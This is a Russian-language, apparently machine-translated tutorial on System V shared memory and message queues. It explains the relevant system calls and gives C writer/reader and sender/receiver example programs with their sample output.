Вышеупомянутый системный вызов выполняет операцию совместно используемой памяти для сегмента совместно используемой памяти System V, то есть присоединение сегмента совместно используемой памяти к адресному пространству вызывающего процесса. Аргументы, которые необходимо передать, следующие:

Первый аргумент, shmid, является идентификатором сегмента разделяемой памяти. Этот идентификатор является идентификатором разделяемой памяти, который является возвращаемым значением системного вызова shmget ().

Второй аргумент, shmaddr, должен указывать адрес присоединения. Если shmaddr равен NULL , система по умолчанию выбирает подходящий адрес для присоединения сегмента. Если shmaddr не NULL и SHM_RND указан в shmflg, присоединение будет равно адресу ближайшего кратного SHMLBA (адрес нижней границы). В противном случае shmaddr должен быть адресом с выравниванием страницы, по которому происходит / начинается вложение в общую память.

Третий аргумент, shmflg, указывает требуемые флаги общей памяти, такие как SHM_RND (адрес округления до SHMLBA) или SHM_EXEC (разрешает выполнение содержимого сегмента) или SHM_RDONLY (по умолчанию присоединяет сегмент только для чтения) это чтение-запись) или SHM_REMAP (заменяет существующее отображение в диапазоне, указанном shmaddr и продолжающемся до конца сегмента).

Этот вызов вернет адрес подключенного сегмента разделяемой памяти в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

#include <sys/types.h>
#include <sys/shm.h>

int shmdt(const void *shmaddr)

Вышеупомянутый системный вызов выполняет операцию совместно используемой памяти для сегмента совместно используемой памяти System V, отсоединяя сегмент совместно используемой памяти от адресного пространства вызывающего процесса. Аргумент, который необходимо передать, -

Аргумент shmaddr - это адрес сегмента разделяемой памяти, который нужно отсоединить. Сегмент, который должен быть отсоединен, должен быть адресом, возвращаемым системным вызовом shmat ().

Этот вызов вернет 0 в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

#include <sys/ipc.h>
#include <sys/shm.h>

int shmctl(int shmid, int cmd, struct shmid_ds *buf)

Вышеупомянутый системный вызов выполняет операцию управления для сегмента совместно используемой памяти System V. Следующие аргументы должны быть переданы -

Первый аргумент, shmid, является идентификатором сегмента разделяемой памяти. Этот идентификатор является идентификатором разделяемой памяти, который является возвращаемым значением системного вызова shmget ().

Второй аргумент, cmd, является командой для выполнения требуемой операции управления в сегменте разделяемой памяти.

Допустимые значения для cmd -

  • IPC_STAT - копирует информацию о текущих значениях каждого члена struct shmid_ds в переданную структуру, указанную в buf. Эта команда требует разрешения на чтение для сегмента общей памяти.

  • IPC_SET - устанавливает идентификатор пользователя, идентификатор группы владельца, разрешения и т. Д., На которые указывает структура buf.

  • IPC_RMID - отмечает сегмент, подлежащий уничтожению. Сегмент уничтожается только после того, как последний процесс отключил его.

  • IPC_INFO - возвращает информацию об ограничениях и параметрах общей памяти в структуре, на которую указывает buf.

  • SHM_INFO - возвращает структуру shm_info, содержащую информацию об используемых системных ресурсах совместно используемой памятью.

Третий аргумент, buf, это указатель на структуру разделяемой памяти с именем struct shmid_ds. Значения этой структуры будут использоваться для набора или получения согласно cmd.

Этот вызов возвращает значение в зависимости от переданной команды. В случае успеха IPC_INFO и SHM_INFO или SHM_STAT возвращает индекс или идентификатор сегмента совместно используемой памяти или 0 для других операций и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

Давайте рассмотрим следующий пример программы.

  • Создайте два процесса, один для записи в общую память (shm_write.c), а другой для чтения из общей памяти (shm_read.c)

  • Программа выполняет запись в общую память с помощью процесса записи (shm_write.c) и чтения из общей памяти с помощью процесса чтения (shm_read.c).

  • В общей памяти процесс записи создает общую память размером 1 КБ (и флаги) и присоединяет общую память

  • Процесс записи записывает 5 раз буквы алфавита от «A» до «E» каждый из 1023 байтов в общую память. Последний байт означает конец буфера

  • Процесс чтения будет читать из общей памяти и записывать в стандартный вывод

  • Действия чтения и записи выполняются одновременно

  • После завершения записи процесс записи обновляется, указывая на завершение записи в разделяемую память (с переменной complete в struct shmseg)

  • Процесс чтения выполняет чтение из общей памяти и отображает на выходе, пока не получит индикацию завершения процесса записи (переменная complete в struct shmseg)

  • Выполняет процесс чтения и записи несколько раз для упрощения, а также во избежание бесконечных циклов и усложнения программы

Ниже приведен код для процесса записи (запись в общую память - файл: shm_write.c)

/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define BUF_SIZE 1024
#define SHM_KEY 0x1234

struct shmseg {
   int cnt;
   int complete;
   char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);

int main(int argc, char *argv[]) {
   int shmid, numtimes;
   struct shmseg *shmp;
   char *bufptr;
   int spaceavailable;
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL , 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   
   /* Transfer blocks of data from buffer to shared memory */
   bufptr = shmp->buf;
   spaceavailable = BUF_SIZE;
   for (numtimes = 0; numtimes < 5; numtimes++) {
      shmp->cnt = fill_buffer(bufptr, spaceavailable);
      shmp->complete = 0;
      printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
      bufptr = shmp->buf;
      spaceavailable = BUF_SIZE;
      sleep(3);
   }
   printf("Writing Process: Wrote %d times\n", numtimes);
   shmp->complete = 1;

   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }

   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   return 0;
}

int fill_buffer(char * bufptr, int size) {
   static char ch = 'A';
   int filled_count;
   
   //printf("size is %d\n", size);
   memset(bufptr, ch, size - 1);
   bufptr[size-1] = '\0';
   if (ch > 122)
   ch = 65;
   if ( (ch >= 65) && (ch <= 122) ) {
      if ( (ch >= 91) && (ch <= 96) ) {
         ch = 65;
      }
   }
   filled_count = strlen(bufptr);
   
   //printf("buffer count is: %d\n", filled_count);
   //printf("buffer filled is:%s\n", bufptr);
   ch++;
   return filled_count;
}

Шаги компиляции и выполнения

Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete

Ниже приведен код для процесса чтения (чтение из общей памяти и запись в стандартный вывод - File: shm_read.c)

/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>

#define BUF_SIZE 1024
#define SHM_KEY 0x1234

struct shmseg {
   int cnt;
   int complete;
   char buf[BUF_SIZE];
};

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL , 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   
   /* Transfer blocks of data from shared memory to stdout*/
   while (shmp->complete != 1) {
      printf("segment contains : \n\"%s\"\n", shmp->buf);
      if (shmp->cnt == -1) {
         perror("read");
         return 1;
      }
      printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
      sleep(3);
   }
   printf("Reading Process: Reading Done, Detaching Shared Memory\n");
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   printf("Reading Process: Complete\n");
   return 0;
}

Шаги компиляции и выполнения

segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

Очереди сообщений

Зачем нам очереди сообщений, когда у нас уже есть общая память? Это было бы по нескольким причинам, давайте попробуем разбить это на несколько пунктов для упрощения -

  • Как понятно, как только сообщение получено процессом, оно больше не будет доступно для любого другого процесса. В то время как в разделяемой памяти данные доступны для доступа нескольких процессов.

  • Если мы хотим общаться с небольшими форматами сообщений.

  • Данные общей памяти должны быть защищены синхронизацией, когда несколько процессов обмениваются данными одновременно.

  • Частота записи и чтения с использованием разделяемой памяти высока, тогда было бы очень сложно реализовать эту функциональность. Не стоит в отношении использования в подобных случаях.

  • Что если все процессы не нуждаются в доступе к общей памяти, а очень немногие процессы нуждаются в этом, то было бы лучше реализовать с очередями сообщений.

  • Если мы хотим обмениваться данными с различными пакетами данных, скажем, процесс A отправляет тип сообщения 1 для процесса B, тип сообщения 10 для процесса C и тип сообщения 20 для обработки D. В этом случае проще реализовать с очередями сообщений. Чтобы упростить данный тип сообщения как 1, 10, 20, это может быть либо 0, либо + ve, либо –ve, как описано ниже.

  • Конечно, порядок очереди сообщений - FIFO (первый вошел, первый вышел). Первое сообщение, вставленное в очередь, является первым для извлечения.

Использование общей памяти или очередей сообщений зависит от потребностей приложения и эффективности его использования.

Связь с использованием очередей сообщений может происходить следующими способами:

  • Запись в общую память одним процессом и чтение из общей памяти другим процессом. Как мы знаем, чтение может выполняться несколькими процессами.

Очередь сообщений
  • Запись в общую память одним процессом с разными пакетами данных и чтение из нее несколькими процессами, т. Е. В соответствии с типом сообщения.

Многократная очередь сообщений

Увидев определенную информацию об очередях сообщений, теперь пришло время проверить системный вызов (System V), который поддерживает очереди сообщений.

Для осуществления связи с использованием очередей сообщений выполните следующие действия:

Шаг 1. Создайте очередь сообщений или подключитесь к уже существующей очереди сообщений (msgget ())

Шаг 2 - запись в очередь сообщений (msgsnd ())

Шаг 3 - Чтение из очереди сообщений (msgrcv ())

Шаг 4 - Выполнение операций управления в очереди сообщений (msgctl ())

Теперь давайте проверим синтаксис и определенную информацию о вышеупомянутых вызовах.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgget(key_t key, int msgflg)

Этот системный вызов создает или выделяет очередь сообщений System V. Следующие аргументы должны быть переданы -

  • Первый аргумент, ключ, распознает очередь сообщений. Ключ может быть либо произвольным значением, либо ключом, который можно получить из библиотечной функции ftok ().

  • Второй аргумент, shmflg, указывает требуемые флаги очереди сообщений, такие как IPC_CREAT (создание очереди сообщений, если она не существует) или IPC_EXCL (используется с IPC_CREAT для создания очереди сообщений и сбой вызова, если очередь сообщений уже существует). Нужно также передать разрешения.

Примечание. Подробнее о разрешениях см. В предыдущих разделах.

Этот вызов вернул бы действительный идентификатор очереди сообщений (используемый для дальнейших вызовов очереди сообщений) в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

Различные ошибки в отношении этого вызова: EACCESS (разрешение отклонено), EEXIST (очередь уже существует, не может создать), ENOENT (очередь не существует), ENOMEM (недостаточно памяти для создания очереди) и т. Д.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)

Этот системный вызов отправляет / добавляет сообщение в очередь сообщений (System V). Следующие аргументы должны быть переданы -

  • Первый аргумент, msgid, распознает очередь сообщений, т. Е. Идентификатор очереди сообщений. Значение идентификатора получено в случае успеха msgget ()

  • Второй аргумент, msgp, это указатель на сообщение, отправленное вызывающей стороне, определенное в структуре следующей формы:

struct msgbuf {
   long mtype;
   char mtext[1];
};

Переменная mtype используется для связи с различными типами сообщений, подробно объясненными в вызове msgrcv (). Переменная mtext - это массив или другая структура, размер которой указан как msgsz (положительное значение). Если поле mtext не упомянуто, то оно считается сообщением нулевого размера, что разрешено.

  • Третий аргумент, msgsz, это размер сообщения (сообщение должно заканчиваться null символом)

  • Четвертый аргумент, msgflg, указывает на определенные флаги, такие как IPC_NOWAIT (немедленно возвращается, когда в очереди не найдено ни одного сообщения, или MSG_NOERROR (обрезает текст сообщения, если оно больше байта msgsz)

Этот вызов вернет 0 в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)

Этот системный вызов извлекает сообщение из очереди сообщений (System V). Следующие аргументы должны быть переданы -

  • Первый аргумент, msgid, распознает очередь сообщений, т. Е. Идентификатор очереди сообщений. Значение идентификатора получено в случае успеха msgget ()

  • Второй аргумент, msgp, является указателем сообщения, полученного от вызывающей стороны. Он определяется в структуре следующего вида -

struct msgbuf {
   long mtype;
   char mtext[1];
};

Переменная mtype используется для связи с различными типами сообщений. Переменная mtext - это массив или другая структура, размер которой указан как msgsz (положительное значение). Если поле mtext не упомянуто, то оно считается сообщением нулевого размера, что разрешено.

  • Третий аргумент, msgsz, это размер полученного сообщения (сообщение должно заканчиваться null символом)

  • Пустой аргумент, msgtype, указывает тип сообщения -

    • Если msgtype равен 0 - читает первое полученное сообщение в очереди

    • Если msgtype равен + ve - читает первое сообщение в очереди типа msgtype (если msgtype равно 10, тогда читает только первое сообщение типа 10, даже если другие типы могут находиться в очереди в начале)

    • Если msgtype равен –ve - читает первое сообщение с наименьшим типом, меньшим или равным абсолютному значению типа сообщения (скажем, если msgtype равен -5, то оно читает первое сообщение с типом меньше 5, т.е. тип сообщения от 1 до 5)

  • Пятый аргумент, msgflg, указывает определенные флаги, такие как IPC_NOWAIT (немедленно возвращается, когда в очереди не найдено сообщений или MSG_NOERROR (обрезает текст сообщения, если больше msgsz байтов)

Этот вызов вернул бы число байтов, фактически полученных в массиве mtext в случае успеха, и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgctl(int msgid, int cmd, struct msqid_ds *buf)

Этот системный вызов выполняет операции управления очередью сообщений (System V). Следующие аргументы должны быть переданы -

  • Первый аргумент, msgid, распознает очередь сообщений, т. Е. Идентификатор очереди сообщений. Значение идентификатора получено в случае успеха msgget ()

  • Второй аргумент, cmd, является командой для выполнения требуемой операции управления в очереди сообщений. Допустимые значения для cmd -

IPC_STAT - копирует информацию о текущих значениях каждого члена struct msqid_ds в переданную структуру, указанную в buf. Эта команда требует разрешения на чтение в очереди сообщений.

IPC_SET - устанавливает идентификатор пользователя, идентификатор группы владельца, разрешения и т. Д., На которые указывает структура buf.

IPC_RMID - немедленно удаляет очередь сообщений.

IPC_INFO - возвращает информацию об ограничениях и параметрах очереди сообщений в структуре, на которую указывает buf, которая имеет тип struct msginfo

MSG_INFO - возвращает структуру msginfo, содержащую информацию об используемых системных ресурсах в очереди сообщений.

  • Третий аргумент, buf, это указатель на структуру очереди сообщений с именем struct msqid_ds. Значения этой структуры будут использоваться для набора или получения согласно cmd.

Этот вызов вернет значение в зависимости от переданной команды. Успешное выполнение IPC_INFO и MSG_INFO или MSG_STAT возвращает индекс или идентификатор очереди сообщений или 0 для других операций и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

Посмотрев основную информацию и системные вызовы относительно очередей сообщений, теперь пришло время проверить с помощью программы.

Давайте посмотрим описание, прежде чем смотреть на программу -

Шаг 1. Создайте два процесса: один для отправки в очередь сообщений (msgq_send.c), а другой - для извлечения из очереди сообщений (msgq_recv.c)

Шаг 2 - Создание ключа с помощью функции ftok (). Для этого изначально создается файл msgq.txt, чтобы получить уникальный ключ.

Шаг 3 - Процесс отправки выполняет следующее.

  • Читает строку ввода от пользователя

  • Удаляет новую строку, если она существует

  • Посылает в очередь сообщений

  • Повторяет процесс до конца ввода (CTRL + D)

  • Как только окончание ввода получено, отправляет сообщение «конец», чтобы обозначить конец процесса

Шаг 4 - В процессе получения выполняется следующее.

  • Читает сообщение из очереди
  • Отображает вывод
  • Если полученное сообщение «конец», завершает процесс и выходит

Для упрощения мы не используем тип сообщения для этого образца. Кроме того, один процесс записывает в очередь, а другой процесс читает из очереди. Это может быть расширено по мере необходимости, т.е. в идеале один процесс записывает в очередь, а несколько процессов считывают из очереди.

Теперь давайте проверим процесс (отправка сообщения в очередь) - Файл: msgq_send.c

/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define PERMS 0644
struct my_msgbuf {
   long mtype;
   char mtext[200];
};

int main(void) {
   struct my_msgbuf buf;
   int msqid;
   int len;
   key_t key;
   system("touch msgq.txt");
   
   if ((key = ftok("msgq.txt", 'B')) == -1) {
      perror("ftok");
      exit(1);
   }
   
   if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
      perror("msgget");
      exit(1);
   }
   printf("message queue: ready to send messages.\n");
   printf("Enter lines of text, ^D to quit:\n");
   buf.mtype = 1; /* we don't really care in this case */
   
   while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL ) {
      len = strlen(buf.mtext);
      /* remove newline at end, if it exists */
      if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
      if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
      perror("msgsnd");
   }
   strcpy(buf.mtext, "end");
   len = strlen(buf.mtext);
   if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
   perror("msgsnd");
   
   if (msgctl(msqid, IPC_RMID, NULL ) == -1) {
      perror("msgctl");
      exit(1);
   }
   printf("message queue: done sending messages.\n");
   return 0;
}

Шаги компиляции и выполнения

message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.

Ниже приведен код процесса получения сообщений (извлечение сообщения из очереди) - Файл: msgq_recv.c

/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define PERMS 0644
struct my_msgbuf {
   long mtype;
   char mtext[200];
};

int main(void) {
   struct my_msgbuf buf;
   int msqid;
   int toend;
   key_t key;
   
   if ((key = ftok("msgq.txt", 'B')) == -1) {
      perror("ftok");
      exit(1);
   }
   
   if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
      perror("msgget");
      exit(1);
   }
   printf("message queue: ready to receive messages.\n");
   
   for(;;) { /* normally receiving never ends but just to make conclusion 
             /* this program ends wuth string of end */
      if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
         perror("msgrcv");
         exit(1);
      }
      printf("recvd: \"%s\"\n", buf.mtext);
      toend = strcmp(buf.mtext,"end");
      if (toend == 0)
      break;
   }
   printf("message queue: done receiving messages.\n");
   system("rm msgq.txt");
   return 0;
}

Шаги компиляции и выполнения

message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.

Межпроцессное взаимодействие - семафоры

Первый вопрос, который приходит на ум: зачем нам семафоры? Простой ответ, чтобы защитить критическую / общую область, общую для нескольких процессов.

